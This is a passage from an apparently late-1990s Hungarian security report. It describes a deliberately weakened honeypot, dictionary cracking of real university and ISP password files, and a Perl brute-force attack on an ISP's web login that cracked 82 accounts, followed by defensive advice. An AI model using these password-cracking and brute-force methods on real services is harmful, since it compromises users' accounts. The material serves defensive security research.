hogy a ,,guest” felhaszn´ al´ onak guest a jelszava, ´am alapesetben csak egy lynx webbrowser program indul el a .profile-b´ol, majd ennek befejez´es´evel a rendszer a felhaszn´ al´ ot kil´epteti. Ez az´ert j´ o m´odszer, mert az esetleges bet¨or˝ o nem csod´alkozik nagyon, nem gyan´ıt semmit, ugyanakkor a lynx-b˝ol kis tr¨ ukkel hamar shell -el´er´est tud csin´ alni. ´Igy egy kicsit m´ar ekkor megdolgoztatjuk a bet¨ or˝ ot, ´es esetleges gyan´ uj´ at a t´ ul k¨ onny˝ u bel´ep´esr˝ol elterelhetj¨ uk. Miut´ an a felhaszn´ al´ o bel´epett, ´es szeretn´e a g´epet felt¨ orni, erre is m´ odot kell adni. Mivel a Debian programrendszert megfelel˝ oen friss´ıtik, ´ıgy nem k¨ onny˝ u olyan a´llapotban hagyni a g´epet, hogy az j´ ol felt¨ orhet˝ o legyen. Err˝ ol u ´gy gondoskodtunk, hogy a 1999. m´ arciusi (7 h´ onapos) v´ altozatot raktuk fel, ´es az az´ota fellelt hib´ ak jav´ıt´ as´at tartalmaz´ o csomagokat nem friss´ıtett¨ uk. P´ ar tov´ abbi apr´ os´agot is elhelyezt¨ unk a felt¨ orhet˝ os´eg ´erdek´eben: 4
A mi g´epeinken az al´ abbi u ¨zenet olvashat´ o bel´ep´es ut´ an: Access to this system is
monitored. Unauthorized access is prohibited. Violators will be referred for prosecution.
32
• a ,,root” felhaszn´ al´ o (a rendszergazda) shell -j´enek napl´ oj´ aban (bash history) ,,v´eletlen¨ ul” fellelhet˝ o a root-jelsz´o, • az /etc/lilo.conf 5 -ban elhelyezt¨ unk egy jelszavas v´edelmet. Itt a jelsz´o szabadon olvashat´ o form´ aban van r¨ ogz´ıtve. Ezt a jelsz´ot a root-jelsz´oval v´ alasztottuk azonosra. Ezt f´ajlt rendes k¨ or¨ ulm´enyek k¨ oz¨ott ilyenkor csak a root felhaszn´al´ o olvashatja, azonban ezt a v´edelmet mi kikapcsoltuk, ´ıgy gyakorlatilag b´ arki megtudhatja ezt a jelsz´ ot. M´eg sz´amtalan hasonl´ o tr¨ ukk¨ ot lehet elhelyezni a rendszerben, ezek ´altal az esetleges bet¨or˝ o hamar ,,nem megengedett” jogosults´ agokat tud szerezni. A csapdasz´am´ıt´ og´ep ´ıgy teh´ at gyakorlatilag k´eszen van. Most m´ar csak v´ arni kell a bet¨ or˝ oket, ´es vizsg´alni, mit csin´ alnak. . .
2.3
¨ Osszegz´ es a csapdasz´ am´ıt´ og´ epr˝ ol
A csapdasz´am´ıt´ og´ep egy olyan megold´ as, melyet a kor´abban eml´ıtett intuit´ıv m´odszerek seg´ıts´eg´evel hoztunk l´etre. A csapdasz´am´ıt´ og´ep egy kombin´ alt rendszer, amely mag´ an hordozza az IDS rendszerek saj´atoss´agait (a bet¨ or˝ o megfigyel´ese), de term´eszetesen alkalmazza a j´ol bev´ alt tov´ abbi m´odszereket. Ilyenek a riaszt´asok, f´ ajlok audit´ al´ asa, napl´ oz´as, a kapcsol´ od´ o firewall, sz˝ ur´es, stb. A csapda ¨otlete magunkt´ ol sz´armazott, ´am k´es˝obb a szakirodalmat megvizsg´alva kider¨ ult, m´ as is val´os´ıtott meg ilyen, vagy hasonl´ o g´epet, ezt a szakirodalom honeypot-nak nevezi. A mi megold´asunk t¨ obb eszk¨ozzel t´ ulmutat ezeken, p´eld´aul a titkos´ıtott SSH adatfolyam megfigyel´es´enek m´odszere. (A fent eml´ıtett hasonl´ o rendszerekr˝ol eg´eszen pontos inform´aci´ok nem ´allnak rendelkez´es¨ unkre, ez´ert ´erdemleges ¨oszzehasonl´ıt´ ast nem tudtunk v´egezni.) Fontos dolog, hogy a csapda l´etez´ese miatt az eddig meglev˝o rendszer¨ unk ´ biztons´ aga is v´altozott. Ugy sejtj¨ uk, hogy nem cs¨ okkent a biztons´ ag, mivel megfelel˝oen alkalmaztuk a csomagsz˝ ur´es m´odszer´et, nem haszn´altunk azonos jelszavakat stb., azonban oda kell figyelni arra a tov´ abbiakban, hogy a t¨ obbi h´ al´ ozati eszk¨oz¨ unket biztons´ agosan kezelni tudjuk.
2.4
A csapda j¨ ov˝ oje
A csapdasz´am´ıt´ og´epet be¨ uzemel´ese ut´an viszonylag r¨ ovid ideig tudtuk haszn´alni. Ezalatt az id˝ o alatt, noha t¨ obb m´ odszerrel megpr´ob´ altuk k´ıv´ anatos 5
LILO: Linux Loader, a Linux rendszer bet¨ olt˝ o programja; a /etc/lilo.conf a LILO
konfigur´ aci´ os f´ ajlja.
33
c´elpontt´ a tenni a sz´am´ıt´ og´epet, nem siker¨ ult val´ odi bet¨ or´esi k´ıs´erletet detekt´alnunk. A val´ odi bet¨ or´esi k´ıs´erletek vizsg´alat´ ahoz t¨obb gyenge pontot, ´es t¨obb, egy esetleges bet¨or˝ onek hasznos inform´ aci´ot kell m´eg a sz´am´ıt´ og´epre menteni. A csapda szoftverkonfigur´ aci´oj´ aban is tov´ abbi fejleszt´eseket lehetne eszk¨oz¨olni. A lehallgathat´ o SSH-napl´ oz´ast fel kellene v´altani egy minim´ alis m´odon titkos´ıtott napl´ oz´assal, amely nem olyan felt˝ un˝ o egy bet¨or˝ o sz´am´ara. Fontos lenne ´atgondolni a napl´ oz´as h´al´ ozaton a´t t¨ ort´en˝o volt´ at ´es kipr´ ob´ alni a p´ arhuzamos interf´eszen kereszt¨ ul t¨ ort´en˝o napl´ oz´ast. Ekkor az adatokat vagy nyomtat´ ora lehet k¨ uldeni, vagy a m´ asik sz´am´ıt´ og´eppel ¨osszek¨otve tov´ abbra is ugyanoda ker¨ ulhetnek a logok, mint eddig. Miut´ an a csapda el´eg adatott gy˝ ujt¨ ott, vagy megfelel˝ o bet¨or´esr˝ol kapunk inform´ aci´ot, komoly gondot fog jelenteni az o¨sszegy˝ ujt¨ ott adatok sz˝ ur´ese ´es ki´ert´ekel´ese. Mivel regiment dolgot napl´ ozunk, ez´ert nagyon sok inform´ aci´ob´ ol kell kiv´ alasztani a fontosakat ´es a megb´ızhat´ okat. A csapdasz´am´ıt´ og´ep egy adott k¨ ornyezetben csak korl´ atos ideig haszn´ alhat´ o. Egy id˝ o ut´ an a hackerek csoportja is r´ aj¨ ohet arra, hogy csapd´ ar´ ol van sz´o, illetve meg kell a csoportot, egy´ent g´atolni abban, hogy a csapdasz´ am´ıt´ og´epen kereszt¨ ul tov´ abbi g´epek integrit´ as´at s´ertse meg. Ez´ert teh´at a csapda nem szabad, hogy a´lland´ oan igen k¨ onnyen felt¨ orhet˝ o legyen, viszont ha nem k¨ onnyen felt¨ orhet˝ o, akkor hosszabb t´ avon is m˝ uk¨ odtethet˝o lehet. C´elszer˝ unek l´ atszik a csapdasz´am´ıt´ og´ep hely´enek v´altoztat´asa, term´eszetesen a konfigur´ aci´o ´at´ep´ıt´es´evel, ´ıgy mindig m´ as helyen, int´ezm´enyben v´egezhet˝oek vele megfigyel´esek.
34
Fejezet 3
Egy egyszer˝ u Web-es biztons´ agi probl´ ema Az elhangzottak alapj´ an szerett¨ unk volna egy egyszer˝ u szeml´eltet˝oeszk¨ozt tal´ alni olyan biztons´ agi probl´em´ara, amely nem mag´at´ol ´ertet˝od˝ o, ´es avatott szem sem l´atja pontosan a probl´ema s´ ulyoss´ag´at. Ezt prob´ aljuk meg megvizsg´alni ´es az eml´ıtett szempontok alapj´ an ´ert´ekelni. Egyszer˝ u probl´em´ankat az u ¨zleti ´eletb˝ol vett¨ uk. Ez egy val´ os, gyakorlati eset, amely ma is az ´altalunk v´ azolt m´odon m˝ uk¨ odik.
3.1 3.1.1
A jelszavakr´ ol Konkr´ et jelsz´ o-gy˝ ujtem´ enyek vizsg´ alata
Saj´ at vizsg´alatokat is v´egezt¨ unk, hogy vajon mennyire haszn´ alnak ma Magyarorsz´agon biztons´ agos jelszavakat. Ehhez k´et rendszert vizsg´altunk meg: Az egyik egy egyetemi szerver 310 felhaszn´al´ oi azonos´ıt´ oval, a m´ asik egy magyar Internet-szolg´alat´ o jelsz´olist´aja kb. 3700 felhaszn´ al´ oval. A jelsz´of´ ajlokat kb. 2-3 napig vizsg´ altuk, t¨ ort¨ uk fel egy k¨ ozepes kapacit´as´ u PC seg´ıts´eg´evel. A jelsz´ofelt¨or´eshez haszn´alt sz´ot´arak a k¨ ovetkez˝ok voltak: • a felhaszn´ al´ oi adatokb´ ol (teljes n´ev, loginn´ev) nyert primit´ıv vari´ aci´ok, • angol sz´ot´ar (nagys´ aga kb. 2 Mbyte), 35
• magyar sz´ot´ar, • ´es magyar IRC besz´elget´esek egy adott id˝otartama alatt a´ltalunk r¨ ogz´ıtett sz¨ovegeib˝ol ad´ od´ o sz´ogy˝ ujtem´eny. A sz´ot´arakon p´ ar m´odos´ıt´ asi szab´alyt alkalmaztunk, p´eld´ aul a jelszo sz´o eset´en kipr´ ob´ altuk a Jelszo, jelszo1, jelszo2 . . . szavakat is A jelsz´ofelt¨or´es tekint´elyes m´ ultj´ aban a felt¨ orhet˝ o jelszavak ilyen esetekben 25% k¨ or¨ ul mozogtak. A jelsz´ofelt¨or´es a nagy sebess´eg olcs´o PC-k t¨omeges elterjed´es´evel lett divatos, ez kb. 5-6 ´evvel ezel˝ott tet˝oz¨ott. Az´ota a jelsz´ohaszn´alat szigorodott, sz´amtalan helyen ´es form´aban olvashatunk jelsz´ov´ alaszt´asi j´otan´ acsokat ´es k¨otelez˝oen betartand´ o dolgokat. Az egyik ilyen tr´ef´as felh´ıv´ as a k¨ovetkez˝o: Passwords Passwords Passwords Passwords Passwords
are are are are are
like like like like like
underwear underwear underwear underwear underwear
change yours often don’t share them with friends the longer the better be mysterious don’t leave yours (f)lying around
(Kari Roberts ¡
[email protected]¿ posztere, Michigan) Jogos lenne teh´at az elv´ar´ as, hogy a jelszavak ma m´ar nem olyan k¨ onnyen felt¨ orhet˝ oek mint ´evekkel kor´abban. Igaz persze az is, hogy sokkal t¨ obb olyan ember is kapott Internet-hozz´af´er´est, akit nem ´erdekel a rendszer biztons´aga, ˝ok nem fognak bonyolult jelsz´ ot haszn´alni, ha nem k´enyszer´ıtik r´ a ˝oket. N´ezz¨ uk viszont az eredm´enyeket: • Az egyetemi g´ep eset´eben 90 jelsz´o bizonyult gyeng´enek m´ar erre az egyszer˝ u tesztre is, ´es 224 nem volt felt¨orhet˝ o. • Az Internet-szolg´altat´ o eset´eben 625 jelsz´o volt felt¨ orhet˝ o, ´es 3064 db jelsz´o ´allta ki a pr´ ob´ at. Az els˝o esetben 29% volt a felt¨orhet˝ o k´ odok sz´ama, m´ıg a m´asodik esetben 17%. Az m´ar az els˝o pillanatban is meg´ allap´ıthat´ o, hogy a jelszavak nem lettek biztons´ agosabbak az elm´ ult ´evekben. Azt is j´o l´ atni, hogy az egyetemi szerveren magasabb iskol´ azotts´agi fok´ u emberek, ink´ abb hozz´ a´ert˝o felhaszn´ al´ ok voltak, m´egis ugyanolyan rossz, vagy m´eg rosszabb jelszavakat haszn´altak. Ennek egyik oka lehet, hogy nem ezzel a ter¨ ulettel foglalkoznak az egyetemen, m´asik oka lehet, hogy t¨ obb helyen van felhaszn´ al´ oi azonos´ıt´ ojuk, ´ıgy nem tudnak minden helyen egyszerre megfelelp mins´eg˝ u, ugyanakkor megjegyezhet˝o jelsz´ot haszn´alni. 36
Az Internet-szolg´altat´ o eset´en az alacsonyabb eredm´enynek az is egy magyar´ azata, hogy kevesebb esetet pr´ob´ altunk v´egig, mivel a t¨ obb jelsz´ o miatt a k´ıs´erletez´es is lassabb volt. Tov´abbi vizsg´ alatok al´ a vetett¨ uk a fenti jelsz´ of´ ajlokat. A felt¨ ort jelszavak a k¨ ovetkezk´eppen oszlanak meg: • Az egyetemi szerveren felt¨ort 90 jelsz´ob´ ol 21 k¨ ozvetlen¨ ul a felhaszn´ al´ oi azonos´ıt´ o alapj´ an lett kider´ıtve, 69 pedig sz´ot´arak alapj´ an. (23% + 76%). A szolg´altat´ o jelsz´of´ ajlj´ an´ al ez az ar´any 124 (625-b˝ ol) illetve 501, ami 20%-ot ´es 80%-ot jelent. Mint l´ athat´ o, szignifik´ ans k¨ ul¨ onbs´eg a megoszl´asban nincsen.
3.1.2
Vizsg´ alat az Internet Worm adatb´ azis alapj´ an
Ezut´ an m´eg egy ´erdekes vizsg´alatot v´egezt¨ unk: Megvizsg´altuk, hogy a r´egi h´ıres ,,Internet Worm” a´ltal tartalmazott 432 leggyakoribb jelsz´ ot haszn´alt´ak-e ezeken a g´epeken. Az egyetemi g´epen egy ilyen jelsz´ o volt (´erdekess´egk´ent: einstein, ez a felt¨ ort jelszavak 1,1%-a), m´ıg az Internet-szolg´altat´ on´ al 23 ilyen jelsz´o volt (a felt¨ ort jelszavakb´ol ez 3,68%). Meglep˝ o dolog, hogy ha nagyobb rendszert n´ez¨ unk, akkor m´eg ma is igen nagy val´ osz´ın˝ us´eggel tal´alunk ilyen egyszer˝ u jelszavakat. Nos, ezek a jelsz´ofelt¨or´esi k´ıs´erletek term´eszetesen csak a k´odolt jelszavakat tartalmaz´ o jelsz´of´ ajl birtok´ aban tehetek meg. Ahol teh´at shadow 1 rendszert haszn´alnak, ott ilyen m´ odszerrel nem lehet felt¨orni a g´epet.
3.1.3
Jelszavak frissess´ ege
M´eg a legjobb, legbiztosabbnak hitt jelszavak sem tarthatnak o¨r¨ okk´e. Ha sok´aig haszn´ alnak egy adott jelsz´ ot, megn˝o az es´elye, hogy azt valaki lehallgatta, vagy m´ as u ´ton birtok´ aba jutott. Az ´ıgy megszerzett jelszavakkal nem mindig ´elnek vissza azonnal, viszont biztons´agi r´est jelent a rendszeren. Elv´ arhat´ o teh´at, hogy egy biztons´ agos rendszerben a jelszavakat id˝ or˝ ol id˝ ore meg´ uj´ıtj´ ak. A jelszavak frissess´eg´enek ellen˝orz´es´ere a mell´ekletekben csatolt forr´ ask´od´ u egyszer˝ u PERL programot hoztunk l´etre. A programot v´egigfuttattuk az egyetemi jelsz´of´ ajlon. A futtat´ as a k¨ovetkez˝o eredm´enyt hozta: 1
Ebben az esetben csak a rendszergazda olvashatja el a k´ odolt jelszavakat tartalmaz´ o
f´ ajlt, m´ıg ha nem alkalmazunk ilyen v´edelmet, b´ arki hozz´ ajuthat ezekhez az k´enyes inform´ aci´ okhoz.
37
Kb. 320 jelsz´ob´ ol 3 h´ onap alatt 19 v´ altozott meg, ez a jelszavaknak csak mintegy 1/16-a. (Id˝ ok¨ ozben 35 u ´j felhaszn´ al´ ot regisztr´altak.) Ezen adatok t¨ ukr´eben ´eves szinten is ´alland´ o marad a jelszavak jelent˝ os r´esze, ami komoly biztons´ agi probl´em´at jelent.
3.2
Web-alap´ u t´ amad´ asi lehet˝ os´ egek
A k¨ ovetkez˝o p´elda teh´at azt mutatja be, hogy az egyszer˝ u v´edekez´es nem mindig el´egs´eges: Az egyik nagy, milli´ ardokat ´er˝o magyar Internet-szolg´altat´ o a k¨ ovetkez˝o szolg´altat´ ast ny´ ujtja u ¨gyfeleinek: Mivel az u ¨gyf´el az Interneten elt¨olt¨ott id˝ o alapj´ an fizet a szolg´altat´ onak havi d´ıjat, ez´ert a felhaszn´al´ onak m´ odja van lek´erdezni, hogy mennyi volt az adott h´ onapban az Interneten a szolg´ altat´ on´ al elt¨olt¨ ott ideje. Ezt a szolg´altat´ ast a felhaszn´ al´ o weben kereszt¨ ul ´erheti el. A felhaszn´al´ o a megadott weblap bet¨olt´ese ut´an kit¨ olt egy szabv´anyos web form-ot felhaszn´ al´ oi azonos´ıt´ oj´ aval, jelszav´aval. A felhaszn´ al´ o ezeket b¨ong´esz˝oje seg´ıts´eg´evel ,,CGI-POST” elj´ ar´ assal k¨ uldi tov´ abb az Internet-szolg´altat´ o szerver´enek. A szerver a be´erkezett inform´aci´ok alapj´ an megkeresi, l´etezik-e az adott felhaszn´ al´ o, j´ o-e a jelszava. Sikeres esetben ki´ırja a forgalmi adatokat, sikertelens´eg eset´en k¨ ozli a felhaszn´al´ oval, hogy nem j´ o a jelszava. Megjegyezz¨ uk, hogy ilyen szolg´ altat´ ast m´as, de hasonl´ o form´ aban majdnem minden hazai Internet-szolg´altat´ o, ISP (Internet Service Provider) ny´ ujt.
3.2.1
Egy lehets´ eges t´ amad´ as
A t´ amad´ as az eml´ıtett szolg´altat´ as ellen k´ezenfekv˝o: ´Irunk egy programot, amely n´ev ´es jelsz´o p´ arosokkal k´ıs´erletezik, majd a v´ alasznak megfelel˝oen lementi a sikeres eredm´enyeket. A program k¨ ozvetlen¨ ul csatlakozhat a szerver web portj´ ara, vagy alkalmazhatunk t´ amogat´o programokat is. Mi a libwww-perl programcsomagot haszn´ altuk, ´es a PERL nyelvet. Bemenetk´ent programunk egy n´ev:jelsz´ o list´at kapott, ezt szekvenci´alisan pr´ ob´ alta v´egig, majd a helyes p´ aros´ıt´ asokat egy kimeneti f´ajlban helyezte el. (A szekvenci´alis tesztel´es nem el´egg´e hat´ekony, lehetne p´ arhuzamosan t¨ obb jelsz´ot tesztelni, de a p´elda c´elj´ara elegend˝o ez az egyszer˝ u eset.) Most m´ar csak a n´ev:jelsz´ o p´ aros el˝o´all´ıt´ as volt a feladatunk. A szolg´ altat´ on´ al minden felhaszn´ al´ o bel´ephet shell -be, ´es ott valamilyen tev´ekenys´eget v´egezhet,
38
p´eld´aul elolvashatja a leveleit. A g´epen a k´odolt jelsz´ of´ ajl nem hozz´af´erhet˝o, viszont a felhaszn´al´ oi azonos´ıt´ ok let¨olthet˝ ok. Ilyen m´odszerrel b´armely felhaszn´al´ o meg tudja szerezni a jelsz´olist´at. Ez persze nem k¨onny˝ u akkor, ha nincsen egyetlen felhaszn´ al´ o-azonos´ıt´ onk sem az adott szolg´altat´ on´ al. Azonban a felhaszn´ al´ oi azonos´ıt´ ok el´eg magas h´ anyada l´etezik egy m´asik szolg´altat´ on´ al is (ennek pontos vizsg´ alata k¨ ul¨ on k´ıs´erleteket ig´enyel´ene), ´ıgy a felhaszn´ al´ oi azonos´ıt´ okat is lehetne sz´ot´arf´ ajl alapj´ an tesztelni. Mi a konkr´et esetben az ismert felhaszn´al´ oi azonos´ıt´ okat dolgoztuk fel. A tesztel´eskor egy n´evhez csak kev´es (kb. 6 db.) jelsz´ oval k´ıs´erletezgett¨ unk. Ennek egy p´eld´aja a felhaszn´ al´ on´ev:felhaszn´ al´ on´ev jelsz´o-hozz´arendel´es.
3.2.2
Eredm´ enyek
K¨ or¨ ulbel¨ ul k´et ´ejszakai futtat´ assal (ekkor gyorsabb az Internet el´er´es) 82 jelsz´ot siker¨ ult felt¨ orni: • A ,,titok” jelsz´o 3 p´eld´anyban fordult el, • a ,,password” jelsz´o 2 p´eld´ anyban, • a felhaszn´ al´ o saj´ at neve, mint jelsz´o 72(!) p´eld´ anyban, • az ,,123456”, ,,eszter”, ,,attila” ´es m´eg p´ar hasonl´ o jelsz´o 1-1 p´eld´ anyban. L´ athat´ o teh´at, hogy ez a rendszer, csup´ an a felhaszn´ al´ oi azonos´ıt´ ok tudat´ aban, esetleg m´eg an´elk¨ ul is vesz´elyben van. Nem csak az okozhat gondot, hogy illet´ektelen felhaszn´al´ o m´as nev´eben telefon´al, de az is, hogy a jogos felhaszn´ al´ onak keletkezhet ez´altal t¨ obbletk¨ olts´ege, hiszen a szolg´altat´ o a felhaszn´alt id˝ ot˝ol f¨ ugg˝ oen sz´aml´az a felhaszn´al´ ok fel´e.
3.2.3
A probl´ ema kik¨ usz¨ ob¨ ol´ ese
Hogy lehetett volna v´edekezni az ilyen t´ıpus´ u t´ amad´ asok ellen? T¨ok´eletes v´edekez´es ebben az esetben sincs, de ez a rendszer abszol´ ut megk¨onny´ıti a felt¨ or´est, amit k¨onnyen lehet l´enyegesen nehezebb´e tenni: • J´ o elgondol´ as a CGI program haszn´alata, ugyanis p´eld´ aul egy standard Apache webszerver eset´en, ha a be´ep´ıtett HTTP Basic Authentication azonos´ıt´ ast haszn´aljuk, akkor a p´eld´ ankban ismertetetthez hasonl´ o t´ amad´ asok ellen kev´esb´e v´edhetj¨ uk a rendszer¨ unket. (A protokoll szerint a rendszer ´allapotmentes, ´ıgy t¨ obbsz¨ori pr´ ob´ alkoz´ asokat nem vesz ´eszre.) (M´as szolg´altat´ on´ al van HTTP Basic Authentication-re ´ep¨ ul˝ o megold´as.) 39
• A bel´ep´es k¨ ul¨ on¨ osen egyszer˝ uen ellen˝orizhet˝o, mert a CGI program r¨ ogt¨ on a v´ alasz elej´en k¨ ozli az eredm´enyt: – Password authentication OK – Bad password – No such user Ezen v´ alaszok ismeret´eben a l´etez˝o felhaszn´ al´ o-nevek is k¨onnyen kider´ıthet˝ oek. • Ha k´esz¨ ultek is napl´ of´ ajlok a bel´ep´esi k´ıs´erletekr˝ ol, azokat senki nem ellen˝orizte, a rendszergazda nem ker¨ ult riaszt´ asra. • A t¨obbsz¨ori rossz bel´ep´esi k´ıs´erlet eset´en a k´ıs´erletez˝o g´epet le lehetne tiltani. Azt is korl´ atozni lehetne, hogy adott id˝ on bel¨ ul t¨ obb j´ o bel´ep´es ´ t¨ort´enjen ugyanarr´ ol a g´epr˝ ol. (Am ez a proxy-szerverek haszn´alata miatt probl´em´as.) • Minden egyes k´ıs´erlet alkalm´ aval az eredm´eny k¨ ozl´es´et lehetne 1-5 m´asodperccel k´esleltetni, illetve a CGI program a v´alasz k¨ozl´ese ut´an is tartalmazhatna k´esleltet´est. ´Igy az ilyen t´ amad´ asok eset´en a programunknak minden egyes k´ıs´erlethez t¨obb id˝ ore lenne sz¨ uks´ege , ´ıgy a felt¨ or´es lehet˝os´ege ler¨ovid¨ ulne. Mint l´ athattuk, fontos ´eszrevenni, hogy a legegyszer˝ ubb szolg´ altat´ as mekkora vesz´elyeket rejt, b´ar ezekn´el sokkal durv´ abb t´ amad´ asokt´ol is tartani lehet. Az is l´atszik, hogy a legegyszer˝ ubb jelsz´ o-v´alaszt´as (azaz a maga a felhaszn´ al´ oi n´ev) kiz´ar´ asa az adott esetben 72 pontenci´ alis a´ldozatot mentene meg a legalapvet˝obb t´ amad´ ast´ol.
40
¨ Osszegz´ es P´eld´akat mutattunk be arra, hogy mennyire fontos az intu´ıci´ o, a kreativ´ıt´ as akkor, ha biztons´ agr´ ol van sz´o. Hi´ aba haszn´ aljuk a legdr´ ag´abb szoftvereket, a biztons´ag nem szavatolhat´ o, ellenben egyszer˝ u eszk¨oz¨okkel is hat´ekonyan lehet v´edeni a fontos inform´ aci´okat. P´eld´ainkkal arra is r´ avil´ ag´ıtottunk, hogy a hamis biztons´ ag´erzet milyen vesz´elyeket rejt mag´aban, ´es hogy a legegyszer˝ ubb sz´ am´ıt´ og´ep-h´ al´ ozati feladat is milyen a´tgondol´ ast ig´enyel. L´athat´ o, hogy a sz´ am´ıt´ og´epes biztons´ag, f˝ oleg a h´ al´ ozati oper´ aci´os rendszerek haszn´alata eset´en m´eg igen s´ ulyos probl´em´akat jelent. A virusvesz´elyn´el is jelent˝ osebb ugyanis a kock´ azat, mert itt inform´ aci´o lop´ asra, valamint sz´amtalan vissza´el´esre m´od ny´ılik. A e-business egyre fejl˝ od˝ o ´agazatt´a v´ al´ as´aval egyre nagyobb az ,,Internetes l´etez´es” szerepe. Az ´agazati becsl´esek szerint az infromatikai szektor, az internet ´es t´arsai a fejlett orsz´agokban komoly, 20-50%-os GDP r´eszesed´est ´erhetnek el az elk¨ovetkez˝o ´evekben. Ez az u ´j (Internet alap´ u) gazdas´ag pedig igen megn¨ ovelt hangs´ uly´ u biztons´ agpolitik´ at ig´enyel. Jelenleg az ezen a ter¨ uleten jelentkez˝ o biztons´ agi k´erd´eseket haz´ankban igen elsz´ortan oktatj´ ak csak, kisfok´ u struktur´ alts´ag mellett. Ezen a helyzeten v´altoztatni kell, sz¨ uks´eges az ´atfog´ o, a´tgondolt ´es v´altozatos oktat´ as ´es kutat´as. Erre alapot biztos´ıt a kutat´ ok felk´esz¨ ults´ege, haz´ank egyetemeinek magas matematikai, algoritmuselm´eleti tud´ asszintje. Fel kell azonban ismerni ennek a ter¨ uletnek a fontoss´ ag´at, ´es meg kell szervezni a t´ema fajs´ ulyos kutat´ as´at. Meg kell teremteni a tudom´ any alapjait, az alaptank¨ onyveket, alapoktat´ ast. Erre az´ert van o´ri´ asi sz¨ uks´eg, mert alapok n´elk¨ ul minden egyes kutat´ast szinte a null´ ar´ ol kell ind´ıtani. Hivatkoz´ asi alapot, pezsg˝o tudom´ anyos ´eletet kell teremteni ezen a ter¨ uleten, csak ekkor k´epzelhet˝o el az, hogy a t´em´aban komoly el˝ orel´ep´esek t¨ort´enjenek.
41
Irodalomjegyz´ ek [1] Common Criteria Project 1996, National Institute http://csrc.nist.gov
of
Standards
and
Technology,
USA
[2] Common Criteria (CC), az informatikai term´ekek ´es rendszerek biztons´ agi ´ert´ekel´es´enek m´odszertana, Minisztereln¨oki Hivatal, ITB, http://www.itb.hu/ajanlasok/a16 [3] The design and implementation of Tripwire: A file system integrity checker. Gene Kim, Eugene H. Spafford. Technical Report CSD-TR-93-071. Purdue University, 1993 [4] Firewalls and Internet Security, William R. Cheswick, Steve M. Bellovin, Addison-Wesley, 1994. [5] Hypertext Transfer Protocol – HTTP/1.1, Fielding, R., Gettys, J., Mogul, J. C., Frysyk, H., Masinter, L., Leach, P., Berners-Lee, T., Work In Progress of the HTTP working group, July, 1998. [6] Informatikai biztons´ ag: Web-kapcsolatok biztons´ aga ¨ Bencs´ath Boldizs´ ar, 1999, On´ all´ o laborat´ oriumi besz´amol´ o http://fermat.ebizlab.hit.bme.hu/ boldi/biztonsag/w1bme.doc [7] Informatikai rendszerek biztons´ agi k¨ ovetelm´enyei, Minisztereln¨oki hivatal, ITB, 1996. http://www.itb.hu/ajanlasok/a12 [8] Internet Domain Survey 1999, Internet Software Consortium http://www.isc.org/dsview.cgi?domainsurvey/WWW9907/report.html 42
[9] The Internet Worm Program: An Analysis Eugene H. Spafford Purdue Technical Report, CSD-TR-823, 1988 ftp://coast.cs.purdue.edu/pub/Purdue/papers/spafford/spaf-IWormpaper-CCR.ps.Z [10] The UK ITSEC scheme, http://www.itsec.gov.uk [11] Kevin Mitnick letart´ oztat´asa, 1995, http://www.takedown.com [12] Know Your Enemy: III Lance Spitzner, 1999 http://www.enteract.com/ lspitz/enemy3.html [13] FAQ: Network Intrusion Detection Systems Robert Graham, Version 0.4.1, April 15, 1999 http://packetstorm.securify.com/docs/infosec/network-intrusiondetection.html [14] The Next Ten Years Roundtable . Volume 1 . Issue 3 . December 1998 Thomas A. Longstaff and David A. Fisher of the CERTR Coordination Center http://interactive.sei.cmu.edu/Features/1998/December/Roundtable/roundtable dec98.htm [15] Orange Book (TCSEC) http://www.itsc.state.md.us/info/internetsecurity/Regulations/OBSummary.html [16] VCR y PEO: Dos protocolos criptogr` aficos simples Emiliano Kargieman, Ariel Futoransky, 1995 illetve ennek m´odos´ıt´ asa (PEO revised Oct,1998) http://www.core-sdi.com/english/publications.html, http://www.core-sdi.com/soft/vcr-peo.doc.gz, [17] Secure Syslog, http://ww.core-sdi.com/englisg/slogging/ssyslog.html [18] Security of the Internet The Froehlich/Kent Encyclopedia of Telecommunications vol. 15. Marcel Dekker, New York, 1997, 231-255. http://www.cert.org/encyc article/tocencyc.html [19] A sensible password checker for Unix Alec D.E. Muffet. 1992 43
[20] Szerverek biztons´ag´anak n¨ ovel´ese, Bencs´ath Boldizs´ ar, 1999, Kommunik´ aci´os H´al´ ozatok laborat´ oriumi besz´amol´ o http://fermat.ebizlab.hit.bme.hu/ boldi/biztonsag/webszervb.doc [21] A Taxonomy of Computer Program Security Flaws Carl E. Landwehr, Alan R. Bull, John P. McDermott Information Technology Division, 1994, Naval Research Laboratory Washington D.C. 20375-5337 [22] V´edekez´es rosszindulat´ u, sz´and´ekos programhib´ ak ellen Horn´ ak Zolt´ an, 1996. Diplomaterv, BME-MIT
44
F¨ uggel´ ek A
R¨ ovid´ıt´ esek, magyar´ azatok CGI – (Common Gateway Interface). A CGI-t t´ amogat´o b¨ ong´esz˝oprogramok szabv´anyos m´odon teszik el´erhet˝ov´e futtathat´ o programok weblapokhoz csatol´as´at. A futtathat´ o program a legk¨ ul¨ onb¨ oz˝obb dolgokat v´egezheti, a weblap-sz´aml´ al´ ot´ol az adatb´ aziskezel´esig rengeteg alkalmaz´asa lehets´eges. DNS – (Domain Name Service). Az Interneten a felhaszn´al´ ok sz´am´ara ´ertelmes neveket haszn´alnak g´epek, szolg´altat´ asok azonos´ıt´ as´ara, ezt a DNS rendszer seg´ıts´eg´evel alak´ıtj´ ak a´t az egy´ertelm˝ u IP azonos´ıt´ okk´ a (sz´amokk´ a). Firewall – Az internetes h´al´ ozatban l´etrej¨ott eszk¨oz, mely egy v´edett h´al´ ozatot elv´alaszt egy nem kontroll´ alt h´ al´ ozatt´ol, p´ ald´ aul az Internett˝ ol. Egyszerre elv´alaszt ´es ¨osszek¨ot, megpr´ ob´ alja kisz˝ urni a gyan´ us, t´ amad´ o sz´and´ek´ u, vagy felesleges inform´aci´ot kisziv´arogtat´ o adatokat, ugyanakkor kapcsolatot biztos´ıt az Intranet (valamely szervezet bels˝o h´ al´ ozata) ´es az Internet k¨oz¨ott. FTP – (File Transfer Protocol). Az Internet egyik igen r´egi, f´ ajlok a´tvitel´ere szolg´al´ o autentik´ alt protokoll. A bejelentkez´es sor´an a jelszavak k´ odol´ as n´elk¨ ul mennek a´t a h´ al´ ozaton. Javasolt helyette m´ as, p´eld´aul SSL-es FTP, SCP haszn´ alata. Hacker – A Hacker, Cracker pontos jelent´es´enek defin´ıci´oi v´ altozatosak. A hacker jelent j´ osz´and´ek´ u ,,r´ a´er˝o” t´ıpus´ u programoz´ ot, aki saj´ at o¨r¨ om´ere 